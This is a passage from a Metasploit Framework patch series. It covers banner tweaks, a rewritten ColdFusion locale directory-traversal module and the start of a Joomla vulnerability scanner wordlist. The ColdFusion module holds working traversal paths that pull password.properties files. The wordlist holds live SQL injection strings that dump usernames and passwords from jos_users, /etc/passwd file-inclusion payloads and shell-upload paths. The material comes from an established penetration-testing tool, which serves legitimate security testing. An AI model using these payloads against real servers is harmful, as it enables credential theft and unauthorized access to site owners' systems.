Jan 2013 22:32:53 -0600 Subject: [PATCH 03/87] More banner sanity checking. --- lib/msf/ui/banner.rb | 8 ++++++-- .../{workflow-cartoon.txt => workflow.txt} | 0 lib/msf/ui/web/r7-metasploit.txt | 17 ----------------- 3 files changed, 6 insertions(+), 19 deletions(-) rename lib/msf/ui/logos/{workflow-cartoon.txt => workflow.txt} (100%) delete mode 100644 lib/msf/ui/web/r7-metasploit.txt diff --git a/lib/msf/ui/banner.rb b/lib/msf/ui/banner.rb index f6fee11d11..5f53bef07e 100644 --- a/lib/msf/ui/banner.rb +++ b/lib/msf/ui/banner.rb @@ -33,11 +33,15 @@ module Banner def self.readfile(fname) base = File.expand_path(File.dirname(__FILE__)) pathname = File.join(base, "logos", fname) + fdata = "<< Missing banner: #{fname} >>" begin + raise ArgumentError unless File.readable?(pathname) + raise ArgumentError unless File.stat(pathname).size < 4096 fdata = File.open(pathname) {|f| f.read f.stat.size} - rescue SystemCallError - fdata = "" + rescue SystemCallError, ArgumentError + nil end + return fdata end def self.to_s diff --git a/lib/msf/ui/logos/workflow-cartoon.txt b/lib/msf/ui/logos/workflow.txt similarity index 100% rename from lib/msf/ui/logos/workflow-cartoon.txt rename to lib/msf/ui/logos/workflow.txt diff --git a/lib/msf/ui/web/r7-metasploit.txt b/lib/msf/ui/web/r7-metasploit.txt deleted file mode 100644 index 024a5853ac..0000000000 --- a/lib/msf/ui/web/r7-metasploit.txt +++ /dev/null @@ -1,17 +0,0 @@ -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% % %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%% -%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %% -%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%% -%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%% -%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% % -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% - From 950902f85606d1b80a934c7ab0f17b46c247f2f3 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 9 Jan 2013 22:33:30 -0600 Subject: [PATCH 04/87] Add a tasteful URL to some banners. --- lib/msf/ui/logos/3kom-superhack.txt | 1 + lib/msf/ui/logos/metasploit-shield.txt | 3 +-- lib/msf/ui/logos/missile-command.txt | 1 + lib/msf/ui/logos/ninja.txt | 2 ++ lib/msf/ui/logos/r7-metasploit.txt | 2 +- lib/msf/ui/logos/wake-up-neo.txt | 3 ++- 6 files changed, 8 insertions(+), 4 deletions(-) diff --git a/lib/msf/ui/logos/3kom-superhack.txt b/lib/msf/ui/logos/3kom-superhack.txt index a2097f972a..4d1123f354 100644 --- a/lib/msf/ui/logos/3kom-superhack.txt +++ b/lib/msf/ui/logos/3kom-superhack.txt @@ -15,5 +15,6 @@ | %bld[ OK ]%clr | |______________________________________________________________________________| | | +| http://metasploit.pro | |______________________________________________________________________________| %clr diff --git a/lib/msf/ui/logos/metasploit-shield.txt b/lib/msf/ui/logos/metasploit-shield.txt index 7f8648754f..41f1d971c7 100644 --- a/lib/msf/ui/logos/metasploit-shield.txt +++ b/lib/msf/ui/logos/metasploit-shield.txt @@ -18,5 +18,4 @@ %bluMMMMMMMMMMNm,%clr %blueMMMMMNMMNMM%clr %bluMMMMNNMNMMMMMNx%clr %bluMMMMMMNMMNMMNM%clr %bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr -%clr - +%clr%bld http://metasploit.pro diff --git a/lib/msf/ui/logos/missile-command.txt b/lib/msf/ui/logos/missile-command.txt index 1eda5e790a..aedd604711 100644 --- a/lib/msf/ui/logos/missile-command.txt +++ b/lib/msf/ui/logos/missile-command.txt @@ -27,4 +27,5 @@ ################################################################################ # %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr # ################################################################################ + http://metasploit.pro %clr diff --git a/lib/msf/ui/logos/ninja.txt b/lib/msf/ui/logos/ninja.txt index d5aff31eb2..9bc984822b 100644 --- a/lib/msf/ui/logos/ninja.txt +++ b/lib/msf/ui/logos/ninja.txt @@ -27,5 +27,7 @@ # # ### # # ## ######################## ## ## ## ## + + http://metasploit.pro %clr diff --git a/lib/msf/ui/logos/r7-metasploit.txt b/lib/msf/ui/logos/r7-metasploit.txt index ca62faacf8..f650282597 100644 --- a/lib/msf/ui/logos/r7-metasploit.txt +++ b/lib/msf/ui/logos/r7-metasploit.txt @@ -1,7 +1,7 @@ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% % %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% % %%%%%%%% %%%%%%%%%%% http://metasploit.pro %%%%%%%%%%%%%%%%%%%%%%%%% %% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% diff --git a/lib/msf/ui/logos/wake-up-neo.txt b/lib/msf/ui/logos/wake-up-neo.txt index e5606e1abd..2f9fd96793 100644 --- a/lib/msf/ui/logos/wake-up-neo.txt +++ b/lib/msf/ui/logos/wake-up-neo.txt @@ -22,4 +22,5 @@ `._ , ' /_ ; ,''-,;' ``- ``-..__``--` -%clr + + http://metasploit.pro%clr From 481f2eb791365eefe3d65334b7e44740dde4e61d Mon Sep 17 00:00:00 2001 From: lmercer Date: Wed, 16 Jan 2013 17:23:35 -0500 Subject: [PATCH 05/87] updated cold_fusion_version from Redmine Feature #6822 --- modules/auxiliary/scanner/http/cold_fusion_version.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/cold_fusion_version.rb b/modules/auxiliary/scanner/http/cold_fusion_version.rb index 92aaba751e..1f7169e415 100644 --- a/modules/auxiliary/scanner/http/cold_fusion_version.rb +++ b/modules/auxiliary/scanner/http/cold_fusion_version.rb @@ -36,10 +36,10 @@ class Metasploit3 < Msf::Auxiliary end end - len = (response.body.length > 2500) ? 2500 : response.body.length return nil if response.body.length < 100 title = "Not Found" + response.body.gsub!(/[\r\n]/, '') if(response.body =~ /(.+)<\/title\/?>/i) title = $1 title.gsub!(/\s/, '') @@ -51,6 +51,8 @@ class Metasploit3 < Msf::Auxiliary if(response.body =~ />\s*Version:\s*(.*)<\/strong\> url, 'method' => 'GET', - }, 5) + }, 10) return if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') From ddd2dbc17bb69744409194724951c1a2a03c2167 Mon Sep 17 00:00:00 2001 From: lmercer Date: Wed, 16 Jan 2013 17:54:15 -0500 Subject: [PATCH 06/87] Updated coldfusion_local_traversal as described in Redmine Feature #6822 --- .../http/coldfusion_locale_traversal.rb | 211 ++++++++++++++++-- 1 file changed, 188 insertions(+), 23 deletions(-) diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb index f02623f760..3a360e80e1 100644 --- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb +++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb @@ -29,8 +29,12 @@ class Metasploit3 < Msf::Auxiliary to have directory traversal protections in place, subsequently this module does NOT work against ColdFusion 9. Adobe did not release patches for ColdFusion 6.1 or ColdFusion 7. + + It is not recommended to set FILE when doing scans across a group of servers where the OS + may vary; otherwise, the file requested may not make sense for the OS + }, - 'Author' => [ 'CG' ], + 'Author' => [ 'CG', 'nebulus' ], 'License' => MSF_LICENSE, 'References' => [ @@ -45,40 +49,201 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('URL', [ true, "URI Path", '/CFIDE/administrator/enter.cfm']), - OptString.new('PATH', [ true, "traversal and file", '../../../../../../../../../../ColdFusion8/lib/password.properties%00en']), + OptString.new('FILE', [ false, 'File to retrieve (make sure path/file match OS (ie, /etc/passwd on Windows == dumb))', '']), + OptBool.new('FINGERPRINT', [true, 'Only fingerprint endpoints', false]), ], self.class) end + def fingerprint(response) + + if(response.headers.has_key?('Server') ) + if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/) + os = "Windows (#{response.headers['Server']})" + elsif(response.headers['Server'] =~ /Apache\//) + os = "Unix (#{response.headers['Server']})" + else + os = response.headers['Server'] + end + end + + return nil if response.body.length < 100 + + title = "Not Found" + response.body.gsub!(/[\r\n]/, '') + if(response.body =~ /(.+)<\/title\/?>/i) + title = $1 + title.gsub!(/\s/, '') + end + return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/) + + out = nil + + if(response.body =~ />\s*Version:\s*(.*)<\/strong\>\s+ url+locale+trav, - 'method' => 'GET', - 'headers' => - { + return nil if response.body.length < 100 + + title = "Not Found" + response.body.gsub!(/[\r\n]/, '') + if(response.body =~ /(.+)<\/title\/?>/i) + title = $1 + title.gsub!(/\s/, '') + end + return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/) + + out = nil + + if(response.body =~ />\s*Version:\s*(.*)<\/strong\>\s+ url, + 'method' => 'GET', 'Connection' => "keep-alive", 'Accept-Encoding' => "zip,deflate", - }, - }, -1) + }, 10) + return if not res or not res.body or not res.code - if (res.nil?) - print_error("no response for #{ip}:#{rport} #{url}") - elsif (res.code == 200) - #print_error("#{res.body}")#debug - print_status("URL: #{ip}#{url}") - if match = res.body.match(/\(.*)\<\/title\>/im); - fileout = $1 - print_status("FILE OUTPUT:\n" + fileout + "\r\n") + if (res.code.to_i == 200) + out = fingerprint(res) + print_status("#{ip} #{out}") if out + return if (datastore['FINGERPRINT']) + + if(out =~ /Windows/ and out =~ /MX6/) + trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en' + elsif(out =~ /Windows/ and out =~ /MX7/) + trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en' + elsif(out =~ /Windows/ and out =~ /ColdFusion 8/) + trav = '..\..\..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en' + elsif(out =~ /ColdFusion 9/) + print_status("#{ip} ColdFusion 9 is not vulnerable, skipping") + return + elsif(out =~ /Unix/ and out =~ /MX6/) + trav = '../../../../../../../../../../opt/coldfusionmx/lib/password.properties%00en' + elsif(out =~ /Unix/ and out =~ /MX7/) + trav = '../../../../../../../../../../opt/coldfusionmx7/lib/password.properties%00en' + elsif(out =~ /Unix/ and out =~ /ColdFusion 8/) + trav = '../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en' + else + if(res.body =~ /Adobe/ and res.body =~ /ColdFusion/) + print_error("#{ip} Fingerprint failed, FILE not set...aborting") + else + return # probably just a web server + end + end else - '' + return # silent fail as it doesnt necessarily at this point have to be a CF server end + end + + # file specified or obtained via fingerprint + if(trav !~ /\.\.\/\.\.\// and trav !~ /\.\.\\\.\.\\/) + # file probably specified by user, make sure to add in actual traversal + trav = '../../../../../../../../../../' << trav << '%00en' + end + + locale = "?locale=" + + urls = ["/CFIDE/administrator/enter.cfm", "/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", + "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/logging/settings.cfm"] + # "/CFIDE/install.cfm", haven't seen where this one works + + out = '' # to keep output in synch with threads + urls.each do |url| + res = send_request_raw({ + 'uri' => url+locale+trav, + 'method' => 'GET', + 'headers' => + { + 'Connection' => "keep-alive", + 'Accept-Encoding' => "zip,deflate", + }, + }, -1) + + + if (res.nil?) + print_error("no response for #{ip}:#{rport} #{url}") + elsif (res.code == 200) + #print_error("#{res.body}")#debug + out << "URL: #{ip}#{url}#{locale}#{trav}\n" + if match = res.body.match(/\(.*)\<\/title\>/im) + fileout = $1 + if(fileout !~ /Login$/ and fileout !~ /^Welcome to ColdFusion/ and fileout !~ /^Archives and Deployment/) + out << "#{ip} FILE:\n#{fileout}\r\n" + break + end + end + else + next if (res.code == 500 or res.code == 404 or res.code == 302) + print_error("#{ip} #{res.inspect}") + end + end + if(out =~ /FILE/) + print_good(out) else - '' + print_status(out) end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError From a701b5eb79bb4ec0808a047e16946c38734e9928 Mon Sep 17 00:00:00 2001 From: lmercer Date: Wed, 16 Jan 2013 18:21:19 -0500 Subject: [PATCH 07/87] fixed an error that occurred when patching. --- .../http/coldfusion_locale_traversal.rb | 50 +------------------ 1 file changed, 1 insertion(+), 49 deletions(-) diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb index 3a360e80e1..06874e30c7 100644 --- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb +++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb @@ -103,55 +103,7 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - trav = datas+ def fingerprint(response) - - if(response.headers.has_key?('Server') ) - if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/) - os = "Windows (#{response.headers['Server']})" - elsif(response.headers['Server'] =~ /Apache\//) - os = "Unix (#{response.headers['Server']})" - else - os = response.headers['Server'] - end - end - - return nil if response.body.length < 100 - - title = "Not Found" - response.body.gsub!(/[\r\n]/, '') - if(response.body =~ /(.+)<\/title\/?>/i) - title = $1 - title.gsub!(/\s/, '') - end - return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/) - - out = nil - - if(response.body =~ />\s*Version:\s*(.*)<\/strong\>\s+ Date: Thu, 17 Jan 2013 11:36:59 -0500 Subject: [PATCH 08/87] added Joomla scanner and url wordlist --- data/wordlists/pcheck.txt | 627 ++++++++++++++++++ .../auxiliary/scanner/http/joomla_vulnscan.rb | 270 ++++++++ 2 files changed, 897 insertions(+) create mode 100755 data/wordlists/pcheck.txt create mode 100755 modules/auxiliary/scanner/http/joomla_vulnscan.rb diff --git a/data/wordlists/pcheck.txt b/data/wordlists/pcheck.txt new file mode 100755 index 0000000000..b65dd2a422 --- /dev/null +++ b/data/wordlists/pcheck.txt @@ -0,0 +1,627 @@ +&controller=../../../../../../../../../../../../[LFI]%00 +?1.5.10-x +?1.5.11-x-http_ref +?1.5.11-x-php-s3lf +?1.5.3-path-disclose +?1.5.3-spam +?1.5.8-x +?1.5.9-x +?j1012-fixate-session +?option=com_mysms&Itemid=0&task=phonebook +Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png +admin/ +administrator/ +administrator/components/ +administrator/components/com_a6mambocredits/ +administrator/components/com_a6mambohelpdesk/ +administrator/components/com_admin/admin.admin.html.php +administrator/components/com_astatspro/refer.php +administrator/components/com_bayesiannaivefilter/ +administrator/components/com_chronocontact/excelwriter/PPS/File.php +administrator/components/com_colophon/ +administrator/components/com_colorlab/ +administrator/components/com_comprofiler/ +administrator/components/com_comprofiler/plugin.class.php +administrator/components/com_cropimage/admin.cropcanvas.php +administrator/components/com_extplorer/ +administrator/components/com_feederator/includes/tmsp/add_tmsp.php +administrator/components/com_googlebase/ +administrator/components/com_installer +administrator/components/com_jcs/ +administrator/components/com_jim/ +administrator/components/com_jjgallery/ +administrator/components/com_joom12pic/ +administrator/components/com_joomla-visites/ +administrator/components/com_joomla_flash_uploader/ +administrator/components/com_joomlaflashfun/ +administrator/components/com_joomlaradiov5/ +administrator/components/com_jpack/ +administrator/components/com_jreactions/ +administrator/components/com_juser/ +administrator/components/com_admin/ +administrator/components/com_kochsuite / +administrator/components/com_linkdirectory/ +administrator/components/com_livechat/getSavedChatRooms.php +administrator/components/com_livechat/xmlhttp.php +administrator/components/com_lurm_constructor/admin.lurm_constructor.php +administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php"); +administrator/components/com_mambelfish/ +administrator/components/com_mgm/ +administrator/components/com_mmp/help.mmp.php +administrator/components/com_mosmedia/ +administrator/components/com_multibanners/extadminmenus.class.php +administrator/components/com_panoramic/ +administrator/components/com_peoplebook/param.peoplebook.php +administrator/components/com_phpshop/toolbar.phpshop.html.php +administrator/components/com_remository/admin.remository.php +administrator/components/com_serverstat/install.serverstat.php +administrator/components/com_simpleswfupload/uploadhandler.php"); +administrator/components/com_swmenupro/ +administrator/components/com_treeg/ +administrator/components/com_uhp/ +administrator/components/com_uhp2/ +administrator/components/com_webring/ +administrator/components/com_wmtgallery/ +administrator/components/com_wmtportfolio/ +administrator/components/com_x-shop/ +administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ +administrator/index.php?option=com_searchlog&act=log +ajaxim/ +akocomments.php +cart?Itemid=[SQLi] +component/com__brightweblinks/ +component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 +component/osproperty/?task=agent_register +component/quran/index.php?option=com_quran&action=viewayat&surano= +components/com_ clickheat/ +components/com_5starhotels/ +components/com_Jambook/jambook.php +components/com_a6mambocredits/ +components/com_a6mambohelpdesk/ +components/com_ab_gallery/ +components/com_acajoom/ +components/com_acctexp/ +components/com_aclassf/ +components/com_activities/ +components/com_actualite/ +components/com_admin/admin.admin.html.php +components/com_advancedpoll/ +components/com_agora/ +components/com_agoragroup/ +components/com_ajaxchat/ +components/com_akobook/ +components/com_akocomment/ +components/com_akogallery +components/com_alberghi/ +components/com_allhotels/ +components/com_alphacontent/ +components/com_altas/ +components/com_amocourse/ +components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php +components/com_articles/ +components/com_artist/ +components/com_artlinks/ +components/com_asortyment/ +components/com_astatspro/ +components/com_awesom/ +components/com_babackup/ +components/com_banners/ +components/com_bayesiannaivefilter/ +components/com_be_it_easypartner/ +components/com_beamospetition/ +components/com_biblestudy/ +components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_blog/ +components/com_bookflip/ +components/com_bookjoomlas/ +components/com_booklibrary/ +components/com_books/ +components/com_bsadv/ +components/com_bsq_sitestats/ +components/com_bsq_sitestats/external/rssfeed.php +components/com_bsqsitestats/ +components/com_calendar/ +components/com_camelcitydb2/ +components/com_candle/ +components/com_casino_blackjack/ +components/com_casino_videopoker/ +components/com_casinobase/ +components/com_catalogproduction/ +components/com_catalogshop/ +components/com_category/ +components/com_cgtestimonial/video.php?url="> +components/com_chronocontact/excelwriter/PPS/File.php +components/com_cinema/ +components/com_clasifier/ +components/com_classifieds/ +components/com_clickheat/ +components/com_cloner/ +components/com_cmimarketplace/ +components/com_cms/ +components/com_colophon/ +components/com_colorlab/ +components/com_competitions/ +components/com_comprofiler/ +components/com_comprofiler/plugin.class.php +components/com_contactinfo/ +components/com_content/ +components/com_cpg/cpg.php +components/com_cropimage/admin.cropcanvas.php +components/com_custompages/ +components/com_cx/ +components/com_d3000/ +components/com_dadamail/ +components/com_dailymessage/ +components/com_datsogallery/ +components/com_dbquery/ +components/com_detail/ +components/com_digistore/ +components/com_directory/ +components/com_djiceshoutbox/ +components/com_doc/ +components/com_downloads/ +components/com_ds-syndicate/ +components/com_dtregister/ +components/com_dv/externals/phpupload/upload.php"); +components/com_easybook/ +components/com_emcomposer/ +components/com_equotes/ +components/com_estateagent/ +components/com_eventing/ +components/com_eventlist/ +components/com_events/ +components/com_ewriting/ +components/com_expose/uploadimg.php +components/com_expshop/ +components/com_extcalendar/ +components/com_extcalendar/cal_popup.php?extmode=view&extid= +components/com_extcalendar/extcalendar.php +components/com_extended_registration/registration_detailed.inc.php +components/com_extplorer/ +components/com_ezine/ +components/com_ezstore/ +components/com_facileforms/ +components/com_fantasytournament/ +components/com_faq/ +components/com_feederator/includes/tmsp/add_tmsp.php +components/com_filebase/ +components/com_filiale/ +components/com_flashfun/ +components/com_flashmagazinedeluxe/ +components/com_flippingbook/ +components/com_flyspray/startdown.php +components/com_fm/fm.install.php +components/com_foevpartners/ +components/com_football/ +components/com_formtool/ +components/com_forum/ +components/com_fq/ +components/com_fundraiser/ +components/com_galeria/ +components/com_galleria/galleria.html.php +components/com_gallery/ +components/com_game/ +components/com_gameq/ +components/com_garyscookbook/ +components/com_genealogy/ +components/com_geoboerse/ +components/com_gigcal/ +components/com_gmaps/ +components/com_googlebase/ +components/com_gsticketsystem/ +components/com_guide/ +components/com_hashcash/server.php +components/com_hbssearch/ +components/com_hello_world/ +components/com_hotproperties/ +components/com_hotproperty/ +components/com_hotspots/ +components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php +components/com_hwdvideoshare/ +components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"); +components/com_ice/ +components/com_idoblog/ +components/com_idvnews/ +components/com_ignitegallery/ +components/com_ijoomla_archive/ +components/com_ijoomla_rss/ +components/com_inter/ +components/com_ionfiles/ +components/com_is/ +components/com_ixxocart/ +components/com_jabode/ +components/com_jashowcase/ +components/com_jb2/ +components/com_jce/ +components/com_jcs/ +components/com_jd-wiki/ +components/com_jd-wp/ +components/com_jim/ +components/com_jjgallery/ +components/com_jmovies/ +components/com_jobline/ +components/com_jombib/ +components/com_joobb/ +components/com_jooget/ +components/com_joom12pic/ +components/com_joomla-visites/ +components/com_joomla_flash_uploader/ +components/com_joomlaboard/ +components/com_joomladate/ +components/com_joomlaflashfun/ +components/com_joomlalib/ +components/com_joomlaradiov5/ +components/com_joomlavvz/ +components/com_joomlaxplorer/ +components/com_joomloads/ +components/com_joomradio/ +components/com_joomtracker/ +components/com_joovideo/ +components/com_jotloader/ +components/com_journal/ +components/com_jpack/ +components/com_jpad/ +components/com_jreactions/ +components/com_jreviews/scripts/xajax.inc.php +components/com_jumi/ +components/com_juser/ +components/com_jvideo/ +components/com_k2/ +components/com_kbase/ +components/com_knowledgebase/fckeditor/fckeditor.js +components/com_kochsuite / +components/com_kunena/ +components/com_letterman/ +components/com_lexikon/ +components/com_linkdirectory/ +components/com_listoffreeads/ +components/com_livechat/getSavedChatRooms.php +components/com_livechat/xmlhttp.php +components/com_liveticker/ +components/com_lm/ +components/com_lmo/ +components/com_loudmounth/includes/abbc/abbc.class.php +components/com_loudmouth/ +components/com_lowcosthotels/ +components/com_lurm_constructor/admin.lurm_constructor.php +components/com_mad4joomla/ +components/com_madeira/img.php +components/com_maianmusic/ +components/com_mailarchive/ +components/com_mailto/ +components/com_mambatstaff/mambatstaff.php +components/com_mambelfish/ +components/com_mambospgm/ +components/com_mambowiki/MamboLogin.php +components/com_marketplace/ +components/com_mcquiz/ +components/com_mdigg/ +components/com_media_library/ +components/com_mediaslide/ +components/com_mezun/ +components/com_mgm/ +components/com_minibb/ +components/com_misterestate/ +components/com_mmp/help.mmp.php +components/com_model/ +components/com_moodle/moodle.php +components/com_moofaq/ +components/com_mosmedia/ +components/com_mospray/scripts/admin.php +components/com_mosres/ +components/com_most/ +components/com_mp3_allopass/ +components/com_mtree/ +components/com_mtree/img/listings/o/{id}.php +components/com_multibanners/extadminmenus.class.php +components/com_myalbum/ +components/com_mycontent/ +components/com_mydyngallery/ +components/com_mygallery/ +components/com_n-forms/ +components/com_na_content/ +components/com_na_mydocs/ +components/com_na_newsdescription/ +components/com_na_qforms/ +components/com_neogallery/ +components/com_neorecruit/ +components/com_neoreferences/ +components/com_netinvoice/ +components/com_news/ +components/com_news_portal/ +components/com_newsflash/ +components/com_nfn_addressbook/ +components/com_nicetalk/ +components/com_noticias/ +components/com_omnirealestate/ +components/com_omphotogallery/ +components/com_ongumatimesheet20/ +components/com_onlineflashquiz/ +components/com_ownbiblio/ +components/com_panoramic/ +components/com_paxgallery/ +components/com_paxxgallery/ +components/com_pcchess/ +components/com_pcchess/include.pcchess.php +components/com_pccookbook/ +components/com_pccookbook/pccookbook.php +components/com_peoplebook/param.peoplebook.php +components/com_performs/ +components/com_philaform/ +components/com_phocadocumentation/ +components/com_php/ +components/com_phpshop/toolbar.phpshop.html.php +components/com_pinboard/ +components/com_pms/ +components/com_poll/ +components/com_pollxt/ +components/com_ponygallery/ +components/com_portafolio/ +components/com_portfol/ +components/com_prayercenter/ +components/com_pro_desk/ +components/com_prod/ +components/com_productshowcase/ +components/com_profiler/ +components/com_projectfork/ +components/com_propertylab/ +components/com_puarcade/ +components/com_publication/ +components/com_quiz/ +components/com_rapidrecipe/ +components/com_rdautos/ +components/com_realestatemanager/ +components/com_recly/ +components/com_referenzen/ +components/com_rekry/ +components/com_remository/admin.remository.php +components/com_remository_files/file_image_14/1276100016shell.php +components/com_reporter/processor/reporter.sql.php +components/com_resman/ +components/com_restaurante/ +components/com_ricette/ +components/com_rsfiles/ +components/com_rsgallery/ +components/com_rsgallery2/ +components/com_rss/ +components/com_rssreader/ +components/com_rssxt/ +components/com_rwcards/ +components/com_school/ +components/com_search/ +components/com_sebercart/getPic.php?p=[LFD]%00 +components/com_securityimages/ +components/com_sef/ +components/com_seminar/ +components/com_serverstat/install.serverstat.php +components/com_sg/ +components/com_simple_review/ +components/com_simpleboard/ +components/com_simplefaq/ +components/com_simpleshop/ +components/com_sitemap/sitemap.xml.php +components/com_slideshow/ +components/com_smf/ +components/com_smf/smf.php +components/com_swmenupro/ +components/com_team/ +components/com_tech_article/ +components/com_thopper/ +components/com_thyme/ +components/com_tickets/ +components/com_tophotelmodule/ +components/com_tour_toto/ +components/com_trade/ +components/com_uhp/ +components/com_uhp2/ +components/com_user/controller.php +components/com_users/ +components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php +components/com_vehiclemanager/ +components/com_versioning / +components/com_videodb/core/videodb.class.xml.php +components/com_virtuemart/ +components/com_volunteer/ +components/com_vr/ +components/com_waticketsystem/ +components/com_webhosting/ +components/com_weblinks/ +components/com_webring/ +components/com_wmtgallery/ +components/com_wmtportfolio/ +components/com_x-shop/ +components/com_xevidmegahd/ +components/com_xewebtv/ +components/com_xfaq/ +components/com_xgallery/helpers/img.php?file= +components/com_xsstream-dm/ +components/com_ynews/ +components/com_yvcomment/ +components/com_zoom/classes/ +components/mod_letterman/ +components/remository/ +eXtplorer/ +easyblog/entry/uncategorized +extplorer/ +http://{target}/components/com_mtree/img/listings/o/{id}.php where {id} +includes/joomla.php +index.php/404' +index.php/?option=com_question&catID=21' and+1=0 union all +index.php/image-gallery/">/25-koala +index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 +index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view +index.php?option=com_aardvertiser&cat_name=conf&task=<= +index.php?option=com_aardvertiser&task= +index.php?option=com_abc&view=abc&letter=AS§ionid=' +index.php?option=com_advert&id=36' +index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users-- +index.php?option=com_alfurqan15x&action=viewayat&surano= +index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version +index.php?option=com_annonces&view=edit&Itemid=1 +index.php?option=com_articleman&task=new +index.php?option=com_bbs&bid=-1 +index.php?option=com_beamospetition&startpage=3&pet=- +index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users- +index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27 +index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00 